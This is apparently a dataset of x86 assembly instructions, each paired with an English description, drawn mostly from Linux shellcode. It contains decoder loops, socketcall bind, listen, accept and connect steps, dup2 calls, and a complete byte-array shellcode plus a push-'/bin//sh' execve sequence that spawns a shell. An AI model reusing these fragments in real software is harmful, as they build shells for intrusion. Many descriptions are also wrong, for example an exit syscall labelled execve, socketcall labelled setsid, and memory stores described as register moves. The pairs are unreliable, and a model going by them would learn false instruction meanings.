| loop check_even_odd \n jmp short shellcode decrement the ecx register and jump to the check_even_odd label if the contents of the ecx register is not zero else jump short to the shellcode label
|
| loop decode loop decode
|
| loop decode start loop decode
|
| loop decode loop deocde
|
| loop decode loop while zero flag not set
|
| loop decode decode current byte
|
| loop decode decrement ecx and jumps to the decode label unless decrementing ecx caused its value to become zero
|
| loop decode decrement the count register and jump to decode if not equal zero
|
| loop decode decrease the counter and jump to decode if not zero
|
| loop decode \n jmp edx decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the edx register
|
| loop decode \n jmp edx decrement the counter and jump to decode if not zero else jump to edx
|
| loop decode \n jmp EncodedShellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the EncodedShellcode label
|
| loop decode \n jmp encodedshellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the encodedshellcode label
|
| loop decode \n jmp Shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump to the Shellcode label
|
| loop decode \n jmp shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label
|
| loop decode \n jmp shellcode decrement the counter and jump to decode routine if it is not zero else jump to shellcode label
|
| loop decode \n jmp short encodedshellcode decrement the counter and jump to the decode label if it is not zero else jump short to the encodedshellcode label
|
| loop decode \n jmp short shellcode decrement the ecx register and jump to the decode label if the contents of the ecx register is not zero else jump short to the shellcode label
|
| loop decode \n jmp short shellcode decrease the counter and jump to decode if not zero else jump short to shellcode
|
| loop decode_loop \n jmp short encoded_shellcode decrement the counter and if it is not zero go back at decode_loop and execute the cicle again else jump to encoded_shellcode
|
| loop decrypt decrement the count register and jump to _decrypt if not equal zero
|
| loop decrypt decrement ecx and jumps to the decrypt label unless decrementing ecx caused its value to become zero
|
| loop decrypt \n jmp encrypt decrement the ecx register and jump to the decrypt label if the contents of the ecx register is not zero else jump short to the encrypt label
|
| loop do_dup decrement ecx and jumps to the do_dup label unless decrementing ecx caused its value to become zero
|
| loop do_dup decrement the counter and jump to the do_dup label if the count is not zero
|
| loop do_dup \n push byte 0x3f decrement the ecx register and jump to the do_dup label if the contents of the ecx register is not zero else push the byte 0x3f onto the stack
|
| loop eggLoop \n jmp edi decrement the ecx register and jump to the eggLoop label if the contents of the ecx register is not zero else jump to the edi register
|
| loop fill decrement ecx and jumps to the fill label unless decrementing ecx caused its value to become zero
|
| loop fill decrement the counter and jump to the fill label if the count is not zero
|
| loop fill \n mov ecx, esp decrement the ecx register and jump to the fill label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register
|
| loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else move the contents of the esp register into the eax register
|
| loop l1 \n mov eax, esp decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else point the eax register to the stack register
|
| loop l2 \n jmp edi decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else jump to the edi register
|
| loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register
|
| loop l2 \n mov ebx, esp decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else point the ebx register to the stack register
|
| loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register
|
| loop l3 \n mov ecx, esp decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else point the ecx register to the stack register
|
| loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else move the contents of the esp register into the edx register
|
| loop l4 \n mov edx, esp decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else point the edx register to the stack register
|
| loop main_inc decrement ecx and jumps to the main_inc label unless decrementing ecx caused its value to become zero
|
| loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register
|
| loop main_inc \n mov ebx, esp decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else point the ebx register to the stack register
|
| loop main_loop decrement the counter and jump to the main_loop label if the count is not zero
|
| loop main_push decrement ecx and jumps to the main_push label unless decrementing ecx caused its value to become zero
|
| loop main_push \n mov cl, 30 decrement the ecx register and jump to the main_push label if the contents of the ecx register is not zero else move the value 30 into the cl register
|
| loop rot_decode loop 4 times
|
| loop ROT_decode \n jmp short Shellcode decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label
|
| loop up decrement ecx and jumps to the up label unless decrementing ecx caused its value to become zero
|
| loop xor_decode loop 4 times
|
| loop_dup: define _loop_dup label
|
| loop: declare loop_label
|
| loop: define _loop_label
|
| loop: define _loop label
|
| loop: declare the loop label
|
| loop: define the loop label
|
| loop2: define _loop2 label
|
| loopinghere: define _ loopinghere label
|
| loopinghere: declare the loopinghere label
|
| loopnz decode decrement ecx and jumps to the decode label if the contens of ecx is not zero and the zero flag is set to zero
|
| loopnz L1 decrement the counter and jump to the L1 label if the count is not zero and the zero flag is equal to zero
|
| loopnz L1 \n jmp shellcode decrement the ecx register and jump to the L1 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the shellcode label
|
| loopnz L2 decrement the counter and jump to the L2 label if the count is not zero and the zero flag is set to zero
|
| loopnz L2 \n push eax decrement the ecx register and jump to the L2 label if the contents of the ecx register is not zero and the zero flag is zero else push the contents of the eax register onto the stack
|
| loopnz L3 \n mov edx, 7 decrement the ecx register and jump to the L3 label if the contents of the ecx register is not zero and the zero flag is zero else move the value 7 into the edx register
|
| loopnz Label1 decrement ecx and jumps to the Label1 label if the contents of the ecx register is not zero and the zero flag is equal to zero
|
| loopnz next decrement ecx and jumps to the next label if ecx is not zero and the zero flag is equal to zero
|
| loopnz next \n jmp ecx decrement the ecx register and jump to the next label if the contents of the ecx register is not zero and the zero flag is zero else jump to the ecx register
|
| loopnz next2 \n jmp edi decrement the ecx register and jump to the next2 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the edi register
|
| lowbound: lowbound label
|
| main_inc: declare the main_inc label
|
| main_inc: create label main_inc
|
| main_loop: define main_loop label
|
| main_push: create label main_push
|
| main_push: declare the main_push label
|
| main: define main_label
|
| main: declare the main label
|
| main: main function
|
| main: create main label
|
| main: define main label
|
| marks dw 0, 0, 0, 0 allocate memory for the marks array of words and initialize all elements to zero
|
| matrix qw 12*10 allocate memory for a 12*10 quad-bytes matrix
|
| me: declare the me label
|
| me: define me label
|
| message db '/bin/sh' define message byte and initialize it to '/bin/sh'
|
| message db '/bin/sh' define message as the byte string '/bin/sh'
|
| message db '/etc/passwd' define the string message and initialize it to '/etc/passwd'
|
| message db '/etc/passwd' define message as the byte string '/etc/passwd'
|
| message db 'hello',13,0 allocate memory for a null terminated string 'hello\n'
|
| message: declare message_label
|
| message: db 'hello world!' declare message to contain the bytes 'hello world!'
|
| message: db 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 define message as array of bytes and initialize it to 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
|
| mov [1000h], ax move the value of ax into memory at address 1000h
|
| mov [bp+0x07], al move the contents of the al register at the memory location specified by the operation [bp+0x07]
|
| mov [bp+0x0a], al move the contents of the al register at the memory location specified by the operation [bp+0x0a]
|
| mov [bp+0x31], al move the contents of the al register at the memory location specified by the operation [bp+0x31]]
|
| mov [bp+0x32], si move the contents of the si register at the memory location specified by the operation [bp+0x32]
|
| mov [bp+0x36], bx move the contents of the bx register at the memory location specified by the operation [bp+0x36]
|
| mov [bp+0x3a], bx move the contents of the bx register at the memory location specified by the operation [bp+0x3a]
|
| mov [bp+0x3e], ax move the contents of the ax register at the memory location specified by the operation [bp+0x3e]
|
| mov [ebp-4], edi move edi into the local memory address ebp-4
|
| mov [ebp+12], ecx move ecx into the address [ebp+12]
|
| mov [ebp+12], ecx move the contents of ecx into the memory location specified by the operation [ebp+12]
|
| mov [ebp+20], zero_reg move the contents of zero_reg into the memory location specified by the operation [ebp+20]
|
| mov [ebp+20], zero_reg move zero_reg into the address [ebp+20]
|
| mov [ebp+22], word ax move the word at the address ax into [ebp+22]
|
| mov [ebp+22], word ax move the word in ax into the memory location specified by the operation [ebp+22]
|
| mov [ebp+var_a], eax move the contents of eax into address defined by ebp+var_a
|
| mov [ebx + 6], dl save dl content into the space memory at the adress ebx + 6
|
| mov [ebx + 6], dl move dl into the address [ebx + 6]
|
| mov [ebx], 110 move 110 into the effective address saved in ebx
|
| mov [ebx], 123 move 123 into the effective address saved in ebx
|
| mov [ebx+0xe], dl copy dl content into memory space at the address ebx + 0xe
|
| mov [ebx+0xe], dl move dl into the address [ebx+0xe]
|
| mov [ebx+12], eax move eax into ebx+12
|
| mov [ebx+7], al move al into ebx+7
|
| mov [ebx+8], ebx move ebx into ebx+8
|
| mov [ecx], 25 move 25 decimal into the memory address ecx
|
| mov [ecx+4], eax zero out [ecx+4]
|
| mov [ecx+4], eax move eax into the address [ecx+4]
|
| mov [edi], al copy al content into edi register
|
| mov [edi], al move decoded byte to edi
|
| mov [edi], al move the contents of the al register into the edi register
|
| mov [edi], al move al into the address pointed by edi
|
| mov [edi], al move the contents of the al register into the address pointed by edi
|
| mov [edi], al move al into edi register
|
| mov [esi], al copy al content into esi
|
| mov [esi], al move the contents of the al register into the esi register
|
| mov [esi], al swap al value with next byte value in esi
|
| mov [esi+13], al move al into the address [esi+13]
|
| mov [esi+22], al move al into the address [esi+22]
|
| mov [esi+34], al move al into the address [esi+34]
|
| mov [esi+35], esi move esi into the address [esi+35]
|
| mov [esi+39], ebx move ebx into the address [esi+39]
|
| mov [esi+43], ebx move ebx into the address [esi+43]
|
| mov [esi+47], eax move eax into the address [esi+47]
|
| mov [esi+eax], cl move the contents of cl into the byte at memory address esi+eax
|
| mov [esp + 1], cl move cl into the address [esp + 1]
|
| mov [esp+4], esp move esp into the address [esp+4]
|
| mov [esp+4],esp sets esp as recv buffer
|
| mov [esp+57], al move al into the address [esp+57]
|
| mov [esp+57],al \n mov [esp+58],ah \n mov [esp+59], ebx save into esp register the syscall command Ôint 0x80 and jump back to _stageÕ
|
| mov [esp+58], ah move ah into the address [esp+58]
|
| mov [esp+59], ebx move ebx into the address [esp+59]
|
| mov [var], ebx move the contents of ebx into the 4 bytes at memory address var
|
| mov [var1], eax move the contents of eax into the 4 bytes at memory address var1
|
| mov a_letter, al move al into memory address a_letter
|
| mov ah, 0x80 move 0x80 into ah
|
| mov al, [byte_tbl+2] move the effective address of byte_tbl+2 to al register
|
| mov al, [esi] trasfer esi content into al register
|
| mov al, [esi] move the contents of the esi register into the al register
|
| mov al, 03h move 03h into al
|
| mov al, 03h \n int 80h execute __nr_read syscall
|
| mov al, 04h move 04h into al
|
| mov al, 04h \n int 80h execute __nr_write syscall
|
| mov al, 05h move 05h into al
|
| mov al, 05h \n int 80h execute __nr_open syscall
|
| mov al, 0x01 move 0x1 into lower byte of the eax register
|
| mov al, 0x01 move 0x01 into al
|
| mov al, 0x04 move 0x04 into al
|
| mov al, 0x05 put the syscall 0x5 into the al register
|
| mov al, 0x06 move 0x06 into al
|
| mov al, 0x0a move 0x0a into al
|
| mov al, 0x0b save execve command in al register
|
| mov al, 0x0b move the hexadecimal value 11 in al register
|
| mov al, 0x0b copy the execve syscall numebr in al regisster
|
| mov al, 0x0b move 0x0b into al
|
| mov al, 0x1 move the code of syscall exit in al register
|
| mov al, 0x1 load __nr_exit syscall number into al register
|
| mov al, 0x1 move the value 0x1 into the al register
|
| mov al, 0x1 move 0x1 into lower byte of the eax register
|
| mov al, 0x1 \n mov bl, 0x1 save 0x1 into al and bl regsters
|
| mov al, 0x1 \n mov bl, 0x1 push hexadecimal value 0x1 into al and bl registers
|
| mov al, 0x1 \n mov bl, 0x1 save hexadecimal value 0x1 into al and bl register
|
| mov al, 0x17 setuid = 0x17
|
| mov al, 0x17 move 0x17 into al
|
| mov al, 0x1f set the offset bytes to point at the end of the program
|
| mov al, 0x1f move 0x1f into al
|
| mov al, 0x2 load __nr_fork sycall into al register
|
| mov al, 0x2 put the syscall 0x2 into the al register
|
| mov al, 0x21 move 0x21 into al
|
| mov al, 0x21 \n int 0x80 load __nr_access into al register and ping kernel
|
| mov al, 0x27 load __nr_alarm into al register
|
| mov al, 0x2e save setgid = 0x2e into al register
|
| mov al, 0x2e move 0x2e into al
|
| mov al, 0x3 copy the value 3 into al register
|
| mov al, 0x3 load read syscall number into al register
|
| mov al, 0x3 move 0x3 into al
|
| mov al, 0x30 move 0x30 into al
|
| mov al, 0x33 move 0x33 into al
|
| mov al, 0x3b load execve syscall into al register
|
| mov al, 0x3f load __nr_dup2 into al register
|
| mov al, 0x3f load sys_dup2 into al register
|
| mov al, 0x3f load sys call for dup2 into al register
|
| mov al, 0x3f move 0x3f into al
|
| mov al, 0x3f syscall 63
|
| mov al, 0x3f \n int 0x80 execute sys_dup2
|
| mov al, 0x3f \n int 0x80 load dup2 syscall into al register and execute
|
| mov al, 0x4 move the value 0x4 into the al register
|
| mov al, 0x4 move 0x4 into al
|
| mov al, 0x42 move 0x42 into al
|
| mov al, 0x46 load setreuid into al register
|
| mov al, 0x46 move 0x46 into al
|
| mov al, 0x5 trasfer 5 into al register
|
| mov al, 0x5 load open syscall number into al register
|
| mov al, 0x5 move the value 0x5 into the al register
|
| mov al, 0x5 move 0x5 into al
|
| mov al, 0x58 loading syscall value = 0x58 for reboot in al
|
| mov al, 0x58 load the syscall value 0x58 for reboot in the al register
|
| mov al, 0x6 load __nr_close syscall into al register
|
| mov al, 0x6 move 0x6 into al
|
| mov al, 0x6 \n int 0x80 close the stream file
|
| mov al, 0x66 move the command socketcall in al register
|
| mov al, 0x66 move the socketcall in al register
|
| mov al, 0x66 put the syscall socketcall in al register
|
| mov al, 0x66 move the command socketcall = 102 in al register
|
| mov al, 0x66 load __nr_socketcall into al register
|
| mov al, 0x66 load syscall sys_socket into al register
|
| mov al, 0x66 load __nr_socketcall syscall into al register
|
| mov al, 0x66 move socket call number to al register
|
| mov al, 0x66 load setsid syscall into al register
|
| mov al, 0x66 load socketcall sycall into al register
|
| mov al, 0x66 make the socketcall
|
| mov al, 0x66 make the systemcall socketcall
|
| mov al, 0x66 move 0x66 into al
|
| mov al, 0x66 syscall 102
|
| mov al, 0x66 system call socketcall
|
| mov al, 0x66 \n int 80h execute setsid
|
| mov al, 0x7 move 0x7 into al
|
| mov al, 0x8 put the syscall 0x8 into the al register
|
| mov al, 0xa2 move 0xa2 into al
|
| mov al, 0xb mov 11 into lower byte of eax
|
| mov al, 0xb put syscall execve code in al register
|
| mov al, 0xb load execve in eax
|
| mov al, 0xb set syscall execve
|
| mov al, 0xb load __nr_execve syscall number into al register
|
| mov al, 0xb load __nr_execve syscall into al regisetr
|
| mov al, 0xb load __nr_execve syscall into al register
|
| mov al, 0xb load __nr_execve into al register
|
| mov al, 0xb load the syscall 11 into al register
|
| mov al, 0xb load execve syscall nimber into al register
|
| mov al, 0xb execve system call number 11
|
| mov al, 0xb mov 0xb into lower byte of eax
|
| mov al, 0xb move 0xb into al
|
| mov al, 0xb \n int 0x80 load __nr_execve into al register and ping kernel
|
| mov al, 0xb \n int 0x80 load execve syscall number into al register and ping kernel
|
| mov al, 0xb \n int 0x80 execute the file
|
| mov al, 0xb \n int 0x80 execute sys_execve(11)
|
| mov al, 0xb \n int 0x80 execute __nr_execve syscall
|
| mov al, 0xb \n int 0x80 execute execve syscall
|
| mov al, 0xb5 move 0xb5 into al
|
| mov al, 0xcd move 0xcd into al
|
| mov al, 0xcd \n mov ah, 0x80 load int 0x80 into eax register
|
| mov al, 0xf move the function chmod in al register
|
| mov al, 0xf load chmod syscall number into al register
|
| mov al, 0xf move 0xf into al
|
| mov al, 1 copy 1 in al
|
| mov al, 1 move syscalll exit in a reegister
|
| mov al, 1 move the number of the syscall exit in al register
|
| mov al, 1 move the value 1 into the al register
|
| mov al, 1 move 1 into al
|
| mov al, 10 transfer the value 10 to the al register
|
| mov al, 102 load the system call socketcall in al register
|
| mov al, 102 load syscall for socketcall() 102 into al register
|
| mov al, 102 make syscall for socketcall()
|
| mov al, 102 load socketcall syscall number into al register
|
| mov al, 102 load socketcall syscall into al register
|
| mov al, 102 move 102 into al
|
| mov al, 102 \n int 80h execyte socketcall syscall
|
| mov al, 11 insert execve code in al register
|
| mov al, 11 put syscall execve code in al register
|
| mov al, 11 load the execve syscall number into al register
|
| mov al, 11 load syscall execve number into al register
|
| mov al, 11 load the value 11 into al register
|
| mov al, 11 make execve() syscall or 11
|
| mov al, 11 save into al register execve system call
|
| mov al, 11 put the syscall 11 into the al register
|
| mov al, 11 move the value 11 into the al register
|
| mov al, 11 \n int 0x80 call the execve syscall
|
| mov al, 11 \n int 0x80 execute __nr_execve syscall
|
| mov al, 11 \n int 0x80 execyte __nr_execve syscall
|
| mov al, 11 \n int 0x80 execute execv syscall
|
| mov al, 11 \n int 0x80 execute execve syscall
|
| mov al, 11 \n push edx \n push 0x68732f6e \n push 0x69622f2f \n mov ebx,esp \n push edx \n push ebx \n mov ecx,esp \n int 0x80 execute shell using execve syscall
|
| mov al, 12 move 12 into al
|
| mov al, 15 move 15 into lower byte of the eax register
|
| mov al, 16 move 16 into al
|
| mov al, 2 move 2 into al
|
| mov al, 2 \n int 80h execute fork syscall
|
| mov al, 20 move 20 into al
|
| mov al, 23 move 23 into al
|
| mov al, 37 move 37 into al
|
| mov al, 39 move 39 into al
|
| mov al, 4 move the number of the syscall write in al register
|
| mov al, 4 store 4 into al
|
| mov al, 4 move 4 into al
|
| mov al, 5 load the code of syscall open in al register
|
| mov al, 5 move 5 into al
|
| mov al, 5 \n dec al \n jnz l2 move the value 5 into the al register then decrement the contents of the al register and jump to the l2 label if the result is not zero
|
| mov al, 54 move 54 into al
|
| mov al, 6 move the number of the syscall close in al register
|
| mov al, 6 move 6 into al
|
| mov al, 6 \n int 80h execute close sycall
|
| mov al, 61 move 61 into al
|
| mov al, 63 load syscall for dup2()
|
| mov al, 63 load into al register the syscall for dup2
|
| mov al, 63 move the dup2 syscall into al register
|
| mov al, 63 load dup2 syscall into al register
|
| mov al, 63 save 63 into al
|
| mov al, 63 \n int 0x80 move the code of syscall dup2 in al register and execute
|
| mov al, 66h move 66h into al
|
| mov al, 70 move 70 into al
|
| mov al, 72h move 72h into al
|
| mov al, 99 move 99 into al
|
| mov al, a_letter move data at memory location a_letter into al
|
| mov al, byte [digits+eax] move the effective address of digits+eax into al
|
| mov al, byte [edi] move the byte in edi into the al register
|
| mov al, byte [edx+ecx] move the effective address edx+ecx into al
|
| mov al, byte [esi] sabe shellcode lenght into al register
|
| mov al, byte [esi] move the byte at the address [esi] into al
|
| mov al, byte [esi] move the byte in esi into the al register
|
| mov al, byte [esi] move the byte in esi into al
|
| mov al, byte [esi] load the byte pointed by esi in al
|
| mov al, byte [esi+1+ebp] move the byte at the memory location specified by the operation [esi+1+ebp] into al
|
| mov al, byte [esi+1+ebp] put the byte at the address esi+1+ebp into al
|
| mov al, byte [esi+ecx] move a byte from the address esi+ecx into al
|
| mov al, byte 0bh move the byte 0bh into al
|
| mov al, byte 0bh move the byte at the address 0bh into al
|
| mov al, byte 0x1 move the byte at the address 0x1 into al
|
| mov al, byte 2ah move the byte 2ah into al
|
| mov al, byte 2ah move the byte at the address 2ah into al
|
| mov al, byte 2h move the byte 2h into al
|
| mov al, byte 2h move the byte at the address 2h into al
|
| mov al, byte 3fh move the byte 3fh into al
|
| mov al, byte 3fh move the byte at the address 3fh into al
|
| mov al, byte 3h move the byte 3h into al
|
| mov al, byte 3h move the byte at the address 3h into al
|
| mov al, byte 66h move the byte 66h into al
|
| mov al, byte 66h move the byte at the address 66h into al
|
| mov al, byte 6h move the byte 6h into al
|
| mov al, byte 6h move the byte at the address 6h into al
|
| mov al, byte[buff+ecx] move a byte from the address buff+ecx into al
|
| mov al, cl move cl into al
|
| mov al, cl backup cl into al
|
| mov al, close_syscall move close_syscall into al
|
| mov al, dl move dl into al
|
| mov al, dl move dl to al
|
| mov al, dl copy the contents of dl into al
|
| mov al, exit_call load exit in al register
|
| mov al, exit_call move exit_call into al
|
| mov al, write_syscall move write_syscall into al
|
| mov al,0x01 move 1 into lower byte of each
|
| mov al,0x04 load the sys call to write the file
|
| mov al,0x0b copy execve syscall number into al register
|
| mov al,0x1 put 1 in al register
|
| mov al,0x1 load exit in al register
|
| mov al,0x1 copy hexadecimal value 0x1 into al register
|
| mov al,0x1 copy the code of the syscall exit into al reegister
|
| mov al,0x1 \n add al,0xa put syscall execve code in al register
|
| mov al,0x3 copy the code of the syscall read into al register
|
| mov al,0x33 load the code 0x33 of the syscall acct in al register
|
| mov al,0x3f load __nr_dup2 into al register
|
| mov al,0x3f load syscall duo2 into al register
|
| mov al,0x4 put 4 in al regsiter
|
| mov al,0x4 copy the code of the syscall write into al register
|
| mov al,0x4 move the value 0x4 into al register
|
| mov al,0x4 load __nr_write into al register
|
| mov al,0x5 copy the code of syscall open to al register
|
| mov al,0x5 copy the value 5 into al register
|
| mov al,0x6 move syscall close in al register
|
| mov al,0x6 copy close syscall number into al register
|
| mov al,0x6 load __nr_close into al register
|
| mov al,0x66 move the command socketcall in al register
|
| mov al,0x66 copy socketcall syscall number into al register
|
| mov al,0x66 load __nr_socketcall into al register
|
| mov al,0x8 load __nr_creat syscall into al register
|
| mov al,0x8 \n mov cl,077o reate the file with 77 permission in octal
|
| mov al,0xa2 \n int 0x80 execute nanosleep
|
| mov al,0xa2 \n int 80h execute nanosleep syscall
|
| mov al,0xb load execve in al register
|
| mov al,0xb put syscall execve code in al register
|
| mov al,0xb load execve syscall number into al register
|
| mov al,0xb set syscall execve
|
| mov al,0xb load __nr_execve syscall into al regisetr
|
| mov al,0xb load execve syscall number into al regsiter
|
| mov al,0xb load __nr_execve on stack
|
| mov al,0xb load __nr_execve syscall into al register
|
| mov al,0xb \n int 0x80 execute execve syscall
|
| mov al,0xf load __nr_chmod into al register
|
| mov al,0xf load chmod syscall into al register
|
| mov al,1 \n int 80h execute execve syscall
|
| mov al,102 load __nr_socketcall syscall into al register
|
| mov al,11 load execve syscall into al register
|
| mov al,11 \n int 0x80 execute __nr_execve syscall
|
| mov al,11 \n int 0x80 execute execves yscall
|
| mov al,11 \n int 0x80 execute execve syscall
|
| mov al,2 load __nr_fork into al regsiter
|
| mov al,63 load dup2 syscall into al register
|
| mov al,63 \n int 80h load dup2 syscall into al register and call kernel
|
| mov al,byte 0x1 coy the byte 1 into al register
|
| mov al,byte ptr [edi] access memory at the adress edi and copy the byte into al register
|
| mov al,close_syscall move the value close_syscall to al register
|
| mov al,write_syscall move the value write_syscall to al register
|
| mov ax, [1000h] load the object at the address 1000h into the ax register
|
| mov ax, [di] copy thevalue at memory address specified by di into ax
|
| mov ax, [esi] move current word from encoded_shellcode to ax
|
| mov ax, [esi] move the contents at the address pointed by esi into the ax register
|
| mov ax, [esi] move the contents at the address stored in esi into the ax register
|
| mov ax, [esi] store the contents at the address pointed by esi into the ax register
|
| mov ax, [my_var] copy my_var contents in ax
|
| mov ax, 00 initialize ax to 00
|
| mov ax, 010ch move value of 0x010ch into the register ax
|
| mov ax, 0x167 insert in ax register the syscall _nr_socket /socket syscall number
|
| mov ax, 0x167 load _nr_socket into ax regsiter
|
| mov ax, 0x167 move 0x167 into ax
|
| mov ax, 0x169 move bind syscall number in ax register
|
| mov ax, 0x169 move 0x169 into ax
|
| mov ax, 0x16a insert in ax register the value 0x16a/connect syscall number
|
| mov ax, 0x16a insert in ax register the connect syscall number
|
| mov ax, 0x16a move 0x16a into ax
|
| mov ax, 0x16b load listen syscall numebr into ax register
|
| mov ax, 0x16b move 0x16b into ax
|
| mov ax, 0x16c load accept syscall number into ax register
|
| mov ax, 0x16c move 0x16c into ax
|
| mov ax, 1 move value of 1 into register ax
|
| mov ax, 102 moves syscall for socketcall into ax
|
| mov ax, 102 move 102 into ax
|
| mov ax, 1666 move 1666 into ax
|
| mov ax, 45h transfer the immediate constant 45h to ax
|
| mov ax, 8h move 8h into ax
|
| mov ax, 9 get 9 in the ax
|
| mov ax, bx move bx into ax
|
| mov ax, bx move the contents of bx into ax
|
| mov ax, table[esi*4] move the memory offset table+esi*4 into ax
|
| mov ax, word [edi + 1 + ecx] mov the word at the address edi+1+ecx into ax
|
| mov ax,[esi] copy esi content into ax register
|
| mov bh, 0x12 move 0x12 into bh
|
| mov bh, 0xe2 move 0xe2 into bh
|
| mov bh, bl move the contents of bl into bh
|
| mov bh, byte [esi + edx + 2] save the byte in esi+edx+2 in bh
|
| mov bh,0xcc copy hexadecimal value from 0xcc to bh register
|
| mov bl, [esi] move the current byte of the shellcode to the bl
|
| mov bl, [esi+ecx] move the contents of memory address esi+ecx into bl
|
| mov bl, 0bh move 0bh into bl
|
| mov bl, 0x01 move the syscall sys_socket in bl register
|
| mov bl, 0x01 move 0x01 into bl
|
| mov bl, 0x02 move the syscall bind in bl register
|
| mov bl, 0x02 move 0x02 into bl
|
| mov bl, 0x03 move the syscall sys_connect in bl register
|
| mov bl, 0x04 move the syscall sys_listen in bl register
|
| mov bl, 0x04 move 0x04 into bl
|
| mov bl, 0x05 move the syscall sys_accept in bl register
|
| mov bl, 0x1 put the 1 in bl register
|
| mov bl, 0x1 move the syscall sys_socket in bl register
|
| mov bl, 0x1 load 0x1 ino bl register
|
| mov bl, 0x1 load hexadecimal vlaue 0x1 into bl register
|
| mov bl, 0x1 move 1 into bl register
|
| mov bl, 0x1 save socket =1 into bl register
|
| mov bl, 0x1 move 0x1 to bl register
|
| mov bl, 0x1 setting the socketcall type to sys_socket
|
| mov bl, 0x1 move the value 0x1 into the bl register
|
| mov bl, 0x1 move 0x1 into bl
|
| mov bl, 0x1 \n mov al, 0x4 \n int 0x80 load 1 into bl register and write syscall number into al register, then call kernel
|
| mov bl, 0x14 moves the sys_setsocketopt as param 1
|
| mov bl, 0x14 move 0x14 into bl
|
| mov bl, 0x2 put 2 in bl register
|
| mov bl, 0x2 load in bl register the argument sys_bind = 2
|
| mov bl, 0x2 copy the value sys_bind =2 on stack
|
| mov bl, 0x2 set bind =2
|
| mov bl, 0x2 set the socketcall type to sys_bind
|
| mov bl, 0x2 move 0x2 into bl
|
| mov bl, 0x2 move the value 0x2 into the bl register
|
| mov bl, 0x3 copy 3 in bl register
|
| mov bl, 0x3 push 0x3 into bl register
|
| mov bl, 0x3 move 0x3 into bl
|
| mov bl, 0x4 put 4 in bl register
|
| mov bl, 0x4 move 0x4 hexadecimal value into bl register
|
| mov bl, 0x4 copy the value of sys_listen=4 into bl register
|
| mov bl, 0x4 set listen = 4
|
| mov bl, 0x4 set the socketcall type to sys_listen
|
| mov bl, 0x4 move the value 0x4 onto the stack
|
| mov bl, 0x4 move 0x4 into bl
|
| mov bl, 0x5 put 5 in bl register
|
| mov bl, 0x5 load the value of sys_accept=5 on stack
|
| mov bl, 0x5 copy 0x5 into bl register
|
| mov bl, 0x5 accept =5
|
| mov bl, 0x5 set the socketcall type to sys_accept
|
| mov bl, 0x5 move 0x5 into bl
|
| mov bl, 0x5 move the value 0x5 into the bl register
|
| mov bl, 0x7 move 0x7 to bl
|
| mov bl, 0x7 move 0x7 into bl
|
| mov bl, 0x8 move the exadecimal value 0x8 into bl register
|
| mov bl, 0x8 move 0x8 into bl
|
| mov bl, 0x9 transfer the hexadecimal value 0x9 into bl register
|
| mov bl, 0x9 move 0x9 into bl
|
| mov bl, 0xe save the value of sys_setcockopt = 14 into bl register
|
| mov bl, 0xe move 0xe into bl
|
| mov bl, 0xff store 0xff into bl register
|
| mov bl, 0xff move 0xff into bl
|
| mov bl, 0xff move the value 0xff into bl
|
| mov bl, 0xff \n mov bh, 0xe2 load Ôjmp edxÕ command into ebx register
|
| mov bl, 1 load socket = 1 into bl register
|
| mov bl, 1 move 1 into bl
|
| mov bl, 10 store 10 into bl register
|
| mov bl, 10 move 10 into bl
|
| mov bl, 2 save the byte 2 into al register
|
| mov bl, 2 move 2 into bl
|
| mov bl, 3 connect
|
| mov bl, 3 move 3 into bl
|
| mov bl, 3 \n dec bl \n jnz l3 move the value 3 into the bl register then decrement the contents of the bl register and jump to the l3 label if the result is not zero
|
| mov bl, 4 mov (4 = sys_listen = listen()) into bl
|
| mov bl, 4 copy 4 into bl register
|
| mov bl, 4 load listen = 4 into bl register
|
| mov bl, 4 move 4 into bl
|
| mov bl, 5 load 5 into bl register
|
| mov bl, 5 load accept = 5 into bl register
|
| mov bl, 5 store 5 into bl
|
| mov bl, al \n sub bl, 2 \n jnz loop move the contents of the al register into the contents of the bl register then subtract the value 2 from the cl register and jump to the loop label if the result is not zero
|
| mov bl, byte [digits+ebx] move the byte at address digits+ebx into bl
|
| mov bl, byte [eax] move the byte at the address [eax] into bl
|
| mov bl, byte [eax] move the byte in eax to bl
|
| mov bl, byte [eax] move the byte in eax into bl
|
| mov bl, byte [edi + ecx] move the byte at the address edi+ecx into bl
|
